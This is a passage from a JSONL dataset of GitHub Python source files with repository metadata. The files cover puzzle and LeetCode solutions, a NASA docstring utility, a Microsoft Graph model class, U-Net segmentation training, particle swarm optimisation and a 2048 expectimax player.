balance={} where account_num={}\".format(c_bal,acnt)\r\n    cursor.execute(s)\r\n   \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n        \r\n","repo_name":"Sairindhrii/Banking-System","sub_path":"interest_cal_savings.py","file_name":"interest_cal_savings.py","file_ext":"py","file_size_in_byte":2157,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"24780321170","text":"def main():\n    with open('input.txt') as f:\n        lines = f.read().splitlines()\n\n    seat_ids = []\n    for line in lines:\n        row_identifier = line[:7]\n        col_identifier = line[7:]\n\n        row = 0\n        for i, char in enumerate(reversed(row_identifier)):\n            row += 2 ** i if char == 'B' else 0\n        col = 0\n        for i, char in enumerate(reversed(col_identifier)):\n            col += 2 ** i if char == 'R' else 0\n        seat_id = row * 8 + col\n        seat_ids.append(seat_id)\n\n    sorted_seat_ids = sorted(seat_ids)\n    for prev, cur in zip(sorted_seat_ids[:-1], sorted_seat_ids[1:]):\n        if prev + 2 == cur:\n            print('My Seat ID: %d' % (prev + 1))\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"fdamken/advent-of-code","sub_path":"2020/05/task2.py","file_name":"task2.py","file_ext":"py","file_size_in_byte":733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"30948994357","text":"r\"\"\"\nThis module provides several functions for modifying Python docstrings.  One of\nthese, provided by the function :func:`markdown`, which removes much of the\nreST syntax used to make this documentation and prints a more readable message\nfor command-line help messages.\n\nThere is another function :func:`setdocvals` which can be used to rapidly\nsubstitute strings such as ``_atol_`` with a value for *atol* taken from a\n:class:`dict`.\n\n\"\"\"\n\n# Regular expression tools\nimport re\n\n\n# Function to take out extensive markup for help messages\ndef markdown(doc):\n    \"\"\"Remove some extraneous markup for command-line help messages\n    \n    :Call:\n        >>> txt = markdown(doc)\n    :Inputs:\n        *doc*: :class:`str`\n            Docstring\n    :Outputs:\n        *txt*: :class:`str`\n            Help message with some of the RST features removed for readability\n    :Versions:\n        * 2017-02-17 ``@ddalle``: First version\n    \"\"\"\n    try:\n        return markdown_try(doc)\n    except Exception:\n        print(\"[MARKDOWN]: Markdown process of docstring failed\")\n        return doc\n\n# Function to take out extensive markup for help messages\ndef markdown_try(doc):\n    \"\"\"Remove some extraneous markup for command-line help messages\n    \n    :Call:\n        >>> txt = markdown_try(doc)\n    :Inputs:\n        *doc*: :class:`str`\n            Docstring\n    :Outputs:\n        *txt*: :class:`str`\n            Help message with some of the RST features removed for readability\n    :Versions:\n        * 2017-02-17 ``@ddalle``: First version\n    \"\"\"\n    # Replace section header\n    def replsec(g):\n        # Replace :Options: -> OPTIONS\n        return g.group(1).upper() + \"\\n\\n\"\n    # Replace ReST identifiers\n    def replfn(g):\n        # Get the modifier name\n        fn = g.group(1)\n        # Get the contents\n        val = g.group(2)\n        # Filter the modifier\n        if fn == \"func\":\n            # Add parentheses\n            return \"%s()\" % val\n        else:\n            # Just use quotes\n            return \"'%s'\" % val\n    # Remove literals around usernames\n    def repluid(g):\n        # Strip \"``\"\n        return g.group(1)\n    # Generic literals\n    def repllit(g):\n        # Strip \"``\"\n        return g.group(1)\n    # Remove **emphasis**\n    def replemph(g):\n        # Strip \"**\"\n        return g.group(1)\n    # Split by lines\n    lines = doc.split('\\n')\n    # Loop through lines\n    i = 0\n    while  i+1 < len(lines):\n        # Get line\n        line = lines[i]\n        # Stripped\n        txt = line.strip()\n        # Skip empty lines\n        if txt == \"\":\n            # Leave it\n            i += 1\n            continue\n        # Check repeats of first character\n        if txt[0] in ['=', '-', '*']:\n            # Get number of repeats\n            nc = get_nstart(txt, txt[0])\n            # Check section marker\n            if nc > 3:\n                # Delete the header line\n                del lines[i]\n                continue\n        # Check for code block\n        if txt.startswith(\".. \"):\n            # Search for leading spaces\n            nw = get_nstart(line, \" \")\n            # Delete the code-block line\n            del lines[i]\n            # Check the preceding line\n            if (i>0) and (lines[i-1].strip()==\"\"):\n                # Delete the preceding line if empty\n                del lines[i-1]\n                i -=1\n            # Check lines after code block\n            while True:\n                # Go to next line\n                i += 1\n                line = lines[i]\n                # Check for empty line\n                if i >= len(lines):\n                    # We hit the end of the docstring somehow\n                    break\n                elif line.strip() == \"\":\n                    # Leave empty line alone\n                    lines[i] = (nw*\" \")\n                    continue\n                # Get number of leading spaces\n                ns = get_nstart(line, \" \")\n                # Check indent level\n                if ns > nw:\n                    # Shift left by whatever the additional indent is\n                    lines[i] = line[ns-nw:]\n                else:\n                    # Back to original indent; done with block\n                    break\n        # Move to next line\n        i += 1\n    # Reform doc string\n    txt = '\\n'.join(lines)\n    # Replace section headers\n    txt = re.sub(\":([\\w/ _-]+):\\s*\\n\", replsec, txt)\n    # Replace modifiers, such as :mod:`cape.pycart`\n    txt = re.sub(\":([\\w/ _-]+):`([^`\\n]+)`\", replfn, txt)\n    # Simplify user names\n    txt = re.sub(\"``(@\\w+)``\", repluid, txt)\n    # Simplify bolds\n    txt = re.sub(\"\\*\\*([\\w ]+)\\*\\*\", replemph, txt)\n    # Mark string literals\n    txt = re.sub(\"``([^`\\n]+)``\", repllit, txt)\n    # Output\n    return txt\n                \n# Set marked values\ndef setdocvals(doc, vals):\n    \"\"\"Replace tags such as ``\"_tol_\"`` with values from a dictionary\n    \n    :Call:\n        >>> txt = setdocvals(doc, vals)\n    :Inputs:\n        *doc*: :class:`str`\n            Docstring\n        *vals*: :class:`dict`\n            Dictionary of key names to replace and values to set them to\n    :Outputs:\n        *txt*: :class:`str`\n            string with ``\"_%s_\"%k`` -> ``str(vals[k]))`` for *k* in *vals*\n    :Versions:\n        * 2017-02-17 ``@ddalle``: First version\n    \"\"\"\n    # Loop through keys\n    for k in vals:\n        # Get value and convert to string\n        v = str(vals[k])\n        # Make replacement\n        doc = doc.replace(\"_%s_\" % k, v)\n    # Output\n    return doc\n            \n\n# Get number of incidences of character at beginning of string (incl. 0)\ndef get_nstart(line, c):\n    \"\"\"Count number of instances of character *c* at start of a line\n    \n    :Call:\n        >>> nc = get_nstart(line, c)\n    :Inputs:\n        *line*: :class:`str` | :class:`unicode`\n            String\n        *c*: :class:`str`\n            Character\n    :Outputs:\n        *nc*: nonnegative :class:`int`\n            Number of times *c* occurs at beginning of string (can be 0)\n    :Versions:\n        * 2017-02-17 ``@ddalle``: First version\n    \"\"\"\n    # Check if line starts with character\n    if line.startswith(c):\n        # Get number of instances\n        nc = len(re.search(\"\\\\\"+c+\"+\", line).group())\n    else:\n        # No instances\n        nc = 0\n    # Output\n    return nc\n\n","repo_name":"nasa/cape","sub_path":"cape/text.py","file_name":"text.py","file_ext":"py","file_size_in_byte":6270,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"37"}
+{"seq_id":"17757115841","text":"import numpy  \n\ncards = numpy.zeros(100, dtype=bool)\n\nfor i in range(2,100):\n    add = i\n    base = i\n    while base <= len(cards):\n        if cards[base-1] == True:\n            cards[base-1] = False\n        else:\n            cards[base-1] = True\n        base = base + add\n\nprint(cards)\n\nfor i in range(0,100,1):\n    if cards[i] == False:\n        print(i+1)\n","repo_name":"javawillch/Python-Tutorial","sub_path":"04_03_math_problem.py","file_name":"04_03_math_problem.py","file_ext":"py","file_size_in_byte":358,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"26629723068","text":"import random\nrandom_alphabets = random.sample(range(1, 26), 5)\narr=[]\n# print(random_alphabets)\n\nfor x in random_alphabets:\n\tarr.append(str(chr(x+64))+\".py\")\n\nprint(arr)\n\n# import tkinter as tk\n\n# window = tk.Tk()  #Makes main window\n# window.wm_title(\"Practice Module\")\n# window.config(background=\"#FFFFFF\")\n# root=window\n\n# boardWidth=random_alphabets\n# def detect_a():\n# \tprint(\"in a\")\n# def openfile():\n# \tfor x in random_alphabets:\n# \t\tif(x==1):\n# \t\t\tdetect_a()\n\t\t\n\n# for i in boardWidth:\n# \t# print(i)\n# \tnewButton = tk.Button(root, text=chr(i+64),command=openfile)\n# \tnewButton.grid(row=1, column=i, padx=5, pady=5)\n\n# window.mainloop()","repo_name":"Tejas-Nanaware/Haar-Cascades-for-Sign-Language","sub_path":"Test Module/ztest.py","file_name":"ztest.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"37"}
+{"seq_id":"13739668086","text":"import xml.etree.ElementTree as ET\nfrom pprint import pprint\n\nroot = ET.parse('sitemap.xml').getroot()\nf = open(\"sitemap.txt\", \"w\")\n\nfor el in root.findall('url'):\n\tf.write(el.find('loc').text + \"\\n\")\n\nf.close()\t\n\n","repo_name":"C1PR14N055/scraper","sub_path":"xml-parse.py","file_name":"xml-parse.py","file_ext":"py","file_size_in_byte":214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"15800420668","text":"from __future__ import annotations\nimport datetime\nfrom dataclasses import dataclass, field\nfrom kiota_abstractions.serialization import AdditionalDataHolder, Parsable, ParseNode, SerializationWriter\nfrom kiota_abstractions.store import BackedModel, BackingStore, BackingStoreFactorySingleton\nfrom typing import Any, Callable, Dict, List, Optional, TYPE_CHECKING, Union\n\n@dataclass\nclass UserTrainingContentEventInfo(AdditionalDataHolder, BackedModel, Parsable):\n    # Stores model information.\n    backing_store: BackingStore = field(default_factory=BackingStoreFactorySingleton(backing_store_factory=None).backing_store_factory.create_backing_store, repr=False)\n\n    # Stores additional data not described in the OpenAPI description found when deserializing. Can be used for serialization as well.\n    additional_data: Dict[str, Any] = field(default_factory=dict)\n    # Browser of the user from where the training event was generated.\n    browser: Optional[str] = None\n    # Date and time of the training content playback by the user.\n    content_date_time: Optional[datetime.datetime] = None\n    # IP address of the user for the training event.\n    ip_address: Optional[str] = None\n    # The OdataType property\n    odata_type: Optional[str] = None\n    # The operating system, platform, and device details of the user for the training event.\n    os_platform_device_details: Optional[str] = None\n    # Potential improvement in the tenant security posture after completion of the training by the user.\n    potential_score_impact: Optional[float] = None\n    \n    @staticmethod\n    def create_from_discriminator_value(parse_node: Optional[ParseNode] = None) -> UserTrainingContentEventInfo:\n        \"\"\"\n        Creates a new instance of the appropriate class based on discriminator value\n        param parse_node: The parse node to use to read the discriminator value and create the object\n        Returns: UserTrainingContentEventInfo\n        \"\"\"\n        if not parse_node:\n            raise TypeError(\"parse_node cannot be null.\")\n        return UserTrainingContentEventInfo()\n    \n    def get_field_deserializers(self,) -> Dict[str, Callable[[ParseNode], None]]:\n        \"\"\"\n        The deserialization information for the current model\n        Returns: Dict[str, Callable[[ParseNode], None]]\n        \"\"\"\n        fields: Dict[str, Callable[[Any], None]] = {\n            \"browser\": lambda n : setattr(self, 'browser', n.get_str_value()),\n            \"contentDateTime\": lambda n : setattr(self, 'content_date_time', n.get_datetime_value()),\n            \"ipAddress\": lambda n : setattr(self, 'ip_address', n.get_str_value()),\n            \"@odata.type\": lambda n : setattr(self, 'odata_type', n.get_str_value()),\n            \"osPlatformDeviceDetails\": lambda n : setattr(self, 'os_platform_device_details', n.get_str_value()),\n            \"potentialScoreImpact\": lambda n : setattr(self, 'potential_score_impact', n.get_float_value()),\n        }\n        return fields\n    \n    def serialize(self,writer: SerializationWriter) -> None:\n        \"\"\"\n        Serializes information the current object\n        param writer: Serialization writer to use to serialize this model\n        Returns: None\n        \"\"\"\n        if not writer:\n            raise TypeError(\"writer cannot be null.\")\n        writer.write_str_value(\"browser\", self.browser)\n        writer.write_datetime_value(\"contentDateTime\", self.content_date_time)\n        writer.write_str_value(\"ipAddress\", self.ip_address)\n        writer.write_str_value(\"@odata.type\", self.odata_type)\n        writer.write_str_value(\"osPlatformDeviceDetails\", self.os_platform_device_details)\n        writer.write_float_value(\"potentialScoreImpact\", self.potential_score_impact)\n        writer.write_additional_data_value(self.additional_data)\n    \n\n","repo_name":"microsoftgraph/msgraph-sdk-python","sub_path":"msgraph/generated/models/user_training_content_event_info.py","file_name":"user_training_content_event_info.py","file_ext":"py","file_size_in_byte":3785,"program_lang":"python","lang":"en","doc_type":"code","stars":186,"dataset":"github-code","pt":"37"}
+{"seq_id":"11900579651","text":"# Definition for singly-linked list.\n# class ListNode(object):\n#     def __init__(self, val=0, next=None):\n#         self.val = val\n#         self.next = next\nclass Solution(object):\n    def addTwoNumbers(self, l1, l2):\n        \"\"\"\n        :type l1: ListNode\n        :type l2: ListNode\n        :rtype: ListNode\n        \"\"\"\n        output = ListNode(0)\n        current = output\n        carry  = 0\n        sum = 0           \n        while l1 or l2 or carry:\n            x = (l1.val if l1 else 0)\n            y = (l2.val if l2 else 0)\n            sum = carry + x + y\n            if sum >= 10:\n                carry = 1\n            else:\n                carry = 0\n            sum %= 10    \n            \n            current.next = ListNode(sum)\n            current = current.next\n            if l1:\n                l1 = (l1.next if l1 else None)\n            if l2:\n                l2 = (l2.next if l2 else None)\n        \n        return output.next","repo_name":"NichHarris/leet-code","sub_path":"addTwoNums.py","file_name":"addTwoNums.py","file_ext":"py","file_size_in_byte":942,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"17087416285","text":"# Definition for a binary tree node.\n# class TreeNode:\n#     def __init__(self, val=0, left=None, right=None):\n#         self.val = val\n#         self.left = left\n#         self.right = right\nclass Solution:\n    def constructMaximumBinaryTree(self, nums: List[int]) -> Optional[TreeNode]:\n        def helper(arr, start, end):\n            if start>end:\n                return None\n            \n            maxind = start\n            maxval = arr[start]\n            for i in range(start, end+1):\n                if arr[i]>maxval:\n                    maxval = arr[i]\n                    maxind = i\n            \n            root = TreeNode(arr[maxind])\n            root.left = helper(arr, start, maxind-1)\n            root.right = helper(arr, maxind+1, end)\n            \n            return root\n        \n        return helper(nums, 0, len(nums)-1)","repo_name":"mrprashantkumar/LeetCode-Submissions-Python","sub_path":"0654-maximum-binary-tree/0654-maximum-binary-tree.py","file_name":"0654-maximum-binary-tree.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"}
+{"seq_id":"24972979126","text":"import random\n\nimport numpy as np\n\nfrom NeuralNetwork import NeuralNetwork, sigmoid\n\n\n# class corresponding to a particle in the PSO\nclass Particle:\n    # just needs a position and an initial velocity\n    # also keeps track of the best_pos the particle was\n    def __init__(self, pos, velocity):\n        self.pos = pos\n        self.velocity = velocity\n        self.best_pos = pos\n        self.best_pos_value = None\n        self.informants_best = None\n\n\n# my particle swarm optimisation\nclass PSO:\n    \"\"\"\n    the class can have 7 arguments:\n    dimension_size: the number of dimensions of particles position and velocity (the vector length)\n    swarm_size: the number of particles in the swarm\n    informants_size: size of a pack of particle\n    alpha: proportion of velocity to be retained\n    beta: proportion of personal best to be retained\n    gamma: proportion of the informants' best to be retained\n    epsilon: jump size of a particle\n    delta: (optional) proportion of all the particles' best\n    \"\"\"\n\n    def __init__(self, dimension_size, swarm_size, informants_size, alpha, beta, gamma, epsilon, delta=0):\n        self.dimension_size = dimension_size\n        self.swarm_size = swarm_size\n        self.alpha = alpha\n        self.beta = beta\n        self.gamma = gamma\n        self.delta = delta\n        self.epsilon = epsilon\n        self.pop = {}\n        self.informants = {}\n        for i in range(informants_size):\n            self.informants[i] = 9999999\n        self.fitness = 99999999\n        # sets the initial postions to random values and initial velocity to zero\n        informant = 0\n        for _ in range(swarm_size):\n            initial_position = np.random.random_sample((dimension_size,)) * 2 - 1\n            initial_velocity = np.random.random_sample((dimension_size,)) * 2 - 1\n            self.pop[Particle(initial_position, initial_velocity)] = informant % informants_size\n            informant += 1\n        # best and best_fitness_values are used to keeps track of the best\n        self.best = None\n        self.best_fitness_value = None\n\n    # trains the PSO given the inputs and outputs desired with the layers you want in the neural network\n    def train(self, X, Y, layers, verbose=False):\n        for particle in self.pop:\n            # create the neural networks with the particle positions as weights and makes one feed forward to get the\n            # output\n            new_ann = NeuralNetwork(X, Y, layers, list(particle.pos))\n            new_ann.feed_forward()\n            # displays the output of the previously created network\n            if verbose:\n                print(\"CURRENT ANN OUTPUT =\")\n                print([list(n) for n in list(new_ann.output)])\n            # displays the desired output\n            if verbose:\n                print(\"DESIRED OUTPUT =\")\n                print([list(n) for n in list(Y)])\n            #  calculates the fitness of this particle (it's the mean squared error)\n            fitness = (np.sum((Y - new_ann.output) ** 2)) / len(list(Y))\n            self.fitness = fitness\n            if verbose:\n                print(\"CURRENT FITNESS (mean squared error) =\")\n                print(fitness)\n\n            # saves the global best positions and the best value\n            if self.best_fitness_value is None or fitness < self.best_fitness_value:\n                self.best = particle.pos\n                self.best_fitness_value = fitness\n            # saves the particle best\n            if particle.best_pos_value is None or fitness < particle.best_pos_value:\n                particle.best_pos_value = fitness\n                particle.best_pos = particle.pos\n            # saves the informants' best\n            if particle.informants_best is None or fitness < self.informants[self.pop[particle]]:\n                particle.informants_best = particle.pos\n                self.informants[self.pop[particle]] = fitness\n\n        # changes velocity\n        for particle in self.pop:\n            b = random.random() * self.beta\n            c = random.random() * self.gamma\n            d = random.random() * self.delta\n            particle.velocity = self.alpha * particle.velocity + b * (particle.best_pos - particle.pos) + c * (\n                        self.best - particle.pos) + d * (self.best - particle.pos)\n\n        # updates particle position\n        for particle in self.pop:\n            particle.pos += self.epsilon * particle.velocity\n","repo_name":"IbanezJ/ANN_with_PSO","sub_path":"PSO.py","file_name":"PSO.py","file_ext":"py","file_size_in_byte":4419,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"75119302826","text":"import csv\n\nwith open('Find_Link.csv', encoding='utf-8') as f:\n    reader = csv.reader(f)\n    rows = list(reader)\n\n    ref = ''\n    for row_num, data in enumerate(rows):\n        ref += data[row_num]\n    print(ref)\n","repo_name":"krishan-d/Learn-Python","sub_path":"Advance/PDF_CSV_Files/CSV/exercise.py","file_name":"exercise.py","file_ext":"py","file_size_in_byte":214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"29053741410","text":"# Package\n\n#NumPy\n#Pendulum\n#Python Imaging Library\n#MoviePy\n#Requests\n#Tkinter\n#PyQt\n#Pandas\n#py32\n#pyTest\n#mysql-connector\n#mysql-connector-python\n#inflect : for printing numbers as words\n\nimport camelcase  # Downloaded using the command \"py -m pip install camelcase\". Other libraries can be dwonloaded in the same way.\n\nx = camelcase.CamelCase()\n\na = \"hi there! this is a message to check if the letters of each word are capitalized\"\n\nprint(x.hump(a))\n\n# To remove a package use the following command in command prompt\n# py -m pip uninstall camelcase\n\n# To check the list of packages present\n# py -m pip list","repo_name":"srush-shah/GUVI_Python","sub_path":"packagesinfo.py","file_name":"packagesinfo.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"43572290017","text":"import time\nimport sys\n\nimport numpy as np\nimport torch\nfrom torch.nn.functional import softmax\nfrom torch.utils.data import DataLoader\nfrom torch.optim.lr_scheduler import MultiStepLR\n\nfrom datasets import UNetTrainDataset\nfrom datasets import UNetValDataset\nfrom checkpointer import CheckPointer\nfrom unet import UNetGN\nfrom log import Logger\nfrom loss import combined_loss\n# pylint: disable=C0413\nsys.path.append('.')\nfrom metrics import get_metrics, get_metrics_str\nfrom data_utils import get_files_split\n\n\ndef get_data_loaders():\n    \"\"\"\n    Load the train and validation photo and annotation paths.\n    Return PyTorch data loaders which can be used for training and validating a neural network.\n    batch size should be adjusted to the GPU memory\n    \"\"\"\n    files = get_files_split()\n    val_photos, train_photos, val_annotations, train_annotations = files\n    train_set = UNetTrainDataset(train_annotations, train_photos)\n    val_set = UNetValDataset(val_annotations, val_photos)\n    train_loader = DataLoader(train_set, batch_size=4, shuffle=True,\n                              num_workers=8, drop_last=False, pin_memory=True)\n    val_loader = DataLoader(val_set, batch_size=8, drop_last=False,\n                            pin_memory=True, shuffle=False, num_workers=8)\n\n    return train_loader, val_loader\n\n\ndef kaiming_conv_init(module):\n    is_conv = isinstance(module, torch.nn.Conv2d)\n    is_conv_transpose = isinstance(module, torch.nn.ConvTranspose2d)\n    if is_conv or is_conv_transpose:\n        torch.nn.init.kaiming_normal_(module.weight.data)\n\n\ndef evaluate(cnn, loader):\n    \"\"\" get the\n        loss (float)\n        predictions (list) (int, 0 or 1)\n        ground_truth (list) (int, 0 or 1)\n    \"\"\"\n    start = time.time()\n    correct = 0\n    total = 0\n    loss_sum = 0\n    all_preds = []\n    all_true = []\n    cnn.eval()\n    with torch.no_grad():\n        for x_batch, y_batch in loader:\n\n            # Prepare data for CNN, get loss\n            tensor_y_batch = y_batch.type(torch.LongTensor).cuda()\n            outputs = cnn(x_batch.cuda())\n            loss = combined_loss(outputs, tensor_y_batch)\n            loss_sum += loss.item()\n\n            # store predictions and ground truth for metrics\n            _, predicted = torch.max(outputs.data, 1)\n            softmaxed = softmax(outputs, 1)\n            root_probs = softmaxed[:, 1, :]  # just the root probability.\n\n            # thresholded segmentation\n            predicted = (root_probs > 0.5).view(-1).int()\n            pred_np = predicted.data.cpu().numpy()\n            y_batch_np = y_batch.view(-1).int().numpy()\n            all_preds.append(pred_np)\n            total += y_batch.size(0)\n\n            # if this doesn't happen there is a bug\n            assert len(pred_np) == len(y_batch_np)\n            correct += (pred_np == y_batch_np).sum()\n            all_true.append(y_batch_np)\n\n    loss = loss_sum / len(all_true)\n    all_true = np.concatenate(all_true)\n    duration = time.time() - start\n    print(f\"Evaluate duation: {duration:.1f}\")\n    return loss, np.concatenate(all_preds), all_true\n\n\ndef train_unet(outdir):\n    train_loader, val_loader = get_data_loaders()\n    epochs = 80\n    cnn = UNetGN()\n\n    # To use multiple GPUs\n    # cnn = torch.nn.DataParallel(cnn, device_ids=[0, 1])\n\n    cnn.apply(kaiming_conv_init)\n    optimizer = torch.optim.SGD(cnn.parameters(), lr=0.01,\n                                momentum=0.99, nesterov=True,\n                                weight_decay=0.00001)\n    scheduler = MultiStepLR(optimizer, milestones=[30, 60, 90], gamma=0.3)\n    checkpointer = CheckPointer(outdir, 'f1_score', 'max',\n                                train_loader.batch_size,\n                                len(train_loader.dataset))\n    logger = Logger(outdir)\n    cnn.cuda()\n    global_step = 0\n\n    for epoch in range(1, epochs + 1):\n        print(\"Starting epoch\", epoch)\n        print(\"Assigning new tiles\")\n        train_loader.dataset.assign_new_tiles()\n        cnn.train()\n        if scheduler:\n            scheduler.step()\n        epoch_start = time.time()\n\n        all_preds = []\n        all_true = []\n        loss_sum = 0\n\n        for step, (x_batch, y_batch) in enumerate(train_loader):\n            x_batch = x_batch.cuda()\n            y_batch = y_batch.cuda()\n            # -- forward + backward + optimize --\n            optimizer.zero_grad()\n            outputs = cnn(x_batch) # each output in outputs is 388x388\n            softmaxed = softmax(outputs, 1)\n            root_probs = softmaxed[:, 1, :]  # just the root probability.\n            predicted = root_probs > 0.5\n            loss = combined_loss(outputs, y_batch)\n            loss.backward()\n            optimizer.step()\n            preds = predicted.view(-1).cpu().data.numpy()\n            y_batch = y_batch.view(-1).cpu().numpy()\n            all_preds.append(preds)\n            all_true.append(y_batch)\n            loss_sum += loss.cpu().item()\n            sys.stdout.write(f\"Epoch progress: \"\n                             f\"{step * train_loader.batch_size}\"\n                             f\"/{len(train_loader.dataset)}  \\r\")\n            sys.stdout.flush()\n            global_step += 1\n\n        duration = time.time() - epoch_start\n\n        print(f\"\\nTraining: epoch duration: {duration:.1f}\")\n        loss = loss_sum / len(all_true)\n        all_true = np.concatenate(all_true)\n        all_preds = np.concatenate(all_preds)\n        metrics = get_metrics(all_preds, all_true, loss)\n        logger.log_metrics('Train', metrics, global_step)\n        print('Train', get_metrics_str(metrics))\n        val_loss, val_preds, val_true = evaluate(cnn, val_loader)\n        val_metrics = get_metrics(val_preds, val_true, val_loss)\n        print('Val', get_metrics_str(val_metrics))\n        logger.log_metrics('Val', val_metrics, global_step)\n        checkpointer.maybe_save(cnn, val_metrics, epoch)\n\n\nif __name__ == '__main__':\n    train_unet('../output/unet/train_output')\n","repo_name":"Abe404/segmentation_of_roots_in_soil_with_unet","sub_path":"src/unet/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5940,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"37"}
+{"seq_id":"37251276835","text":"from Board import *\nimport math\n\n\n##d = [[2,None,None,8],\n##     [4,8,2,None],\n##     [2,None,None,2],\n##     [128,None,16,16]]\n##newb = Board()\n##newb.board = d\n\ndirs = ['Up', 'Down', 'Left', 'Right']\n\nclass AIPlayer:\n    def __init__(self, b):\n        #init board\n        self.b = b\n        self.board = b.board\n        self.score = b.score\n        self.state = b.state\n        self.moves = b.moves\n\n\n\n\n\n    #check if the given index is on board\n    def validIndex(self, x, y):\n        return x in range(4) and y in range(4)\n\n    #return a list of index of neighbor tiles of the given index\n    def neighbors(self, x, y):\n        neighbors = []\n        if self.validIndex(x, y):\n            if self.validIndex(x - 1, y):\n                neighbors.append([x - 1, y])\n            if self.validIndex(x + 1, y):\n                neighbors.append([x + 1, y])\n            if self.validIndex(x, y - 1):\n                neighbors.append([x, y - 1])\n            if self.validIndex(x, y + 1):\n                neighbors.append([x, y + 1])\n        return neighbors\n\n\n\n\n\n    def heuristic(self, board):\n        #using a weight matrix for calculating h value\n        #                   {6 5 4 3}\n        #                   {5 4 3 2}\n        #   weight matrix = {4 3 2 1}\n        #                   {3 2 1 0}\n        w = [[100, 70, 40, 20],\n             [70, 40, 20, 5],\n             [40, 20, 5, 1],\n             [20, 5, 1, 0]]\n\n        score = 0\n        penalty = 0\n\n\n        for i in range(4):\n            for j in range(4):\n                num = board[i][j] if board[i][j] != None else 0\n                score += num * w[i][j]\n                ns = self.neighbors(i,j)\n                for neighbor in ns:\n                    n = board[neighbor[0]][neighbor[1]] if board[neighbor[0]][neighbor[1]] != None else 0\n                    penalty += abs(n - num)\n\n\n        return score - penalty\n\n\n\n    def expectimax(self, b, depth, isPlayer):\n        if depth == 0:\n            return None, self.heuristic(b.board)\n\n        board = b.board\n        children = []\n        move = None\n        score = -math.inf\n        \n        #player's turn\n        if isPlayer:\n            #get children: [up, down, left, right]\n            for i in range(4):\n                childB = b\n                childB.board, childB.score = childB.makeMove(childB.board, childB.score, dirs[i])\n                children.append(childB)\n\n            #get score\n            for i in range(4):\n                childB = children[i]\n\n                #game over; 2048 not reached\n                if childB.isOver:\n                    for row in childB.board:\n                        if 2048 in row:\n                            return dirs[i], score\n                        else:\n                            continue\n\n                tempMove, tempScore = self.expectimax(childB, depth-1, not isPlayer)\n                if tempScore > score:\n                    score = tempScore\n                    move = dirs[i]\n\n            return move, score\n        \n        #board's turn\n        else:\n            score = 0\n            empty_cells = b.getEmptyCells(b.board)\n            emptyN = len(empty_cells)\n            \n            #assign weight*score to 2/4 in empty cells\n            for i in range(emptyN):\n                x, y = empty_cells[i][0], empty_cells[i][1]\n                \n                #insert 4\n                child4 = b\n                child4.board[x][y] = 4\n                tempMove, tempScore = self.expectimax(child4, depth-1, not isPlayer)\n                score += .1 * tempScore if tempScore != -math.inf else 0\n\n                #insert 2\n                child2 = b\n                child2.board[x][y] = 2\n                tempMove, tempScore = self.expectimax(child2, depth-1, not isPlayer)\n                score += .9 * tempScore if tempScore != -math.inf else 0\n\n            #get weighted average\n            score /= emptyN if emptyN != 0 else 1\n\n            return move, score\n\n\n    def findMove(self):\n        score = -math.inf\n        move = None\n        depth = 10\n        isPlayer = True\n\n        for i in range(4):\n            newb = self.b\n            newb.board, s = newb.makeMove(newb.board, newb.score, dirs[i])\n            if newb.isOver(newb.board):\n                continue\n\n            tempMove, newScore = self.expectimax(newb, depth - 1, not isPlayer)\n\n            if newScore > score:\n                score = newScore\n                move = tempMove\n        \n        return move\n\n##    def play(self):\n##        isPlayer = True\n##        \n##        while(True):\n##            if isPlayer:\n##                move = self.findMove()\n##\n##            self.b.board, self.b.score = self.b.makeMove(self.b.board, self.b.score, move)\n##            if self.b.state == 2:\n##                #print('game over')\n##                break\n\n\n    def test(self):\n##        d = [[2,4,16,8],\n##             [4,8,2,4],\n##             [2,16,4,2],\n##             [128,2,16,16]]\n##        self.b = Board()\n##        self.b.board = d\n##        self.board = b.board\n##        self.score = b.score\n##        self.state = b.state\n        self.play()\n\n\n\n\n##g=AIPlayer(newb)\n##g.play()\n","repo_name":"xinrdai/2048","sub_path":"AIPlayer.py","file_name":"AIPlayer.py","file_ext":"py","file_size_in_byte":5147,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
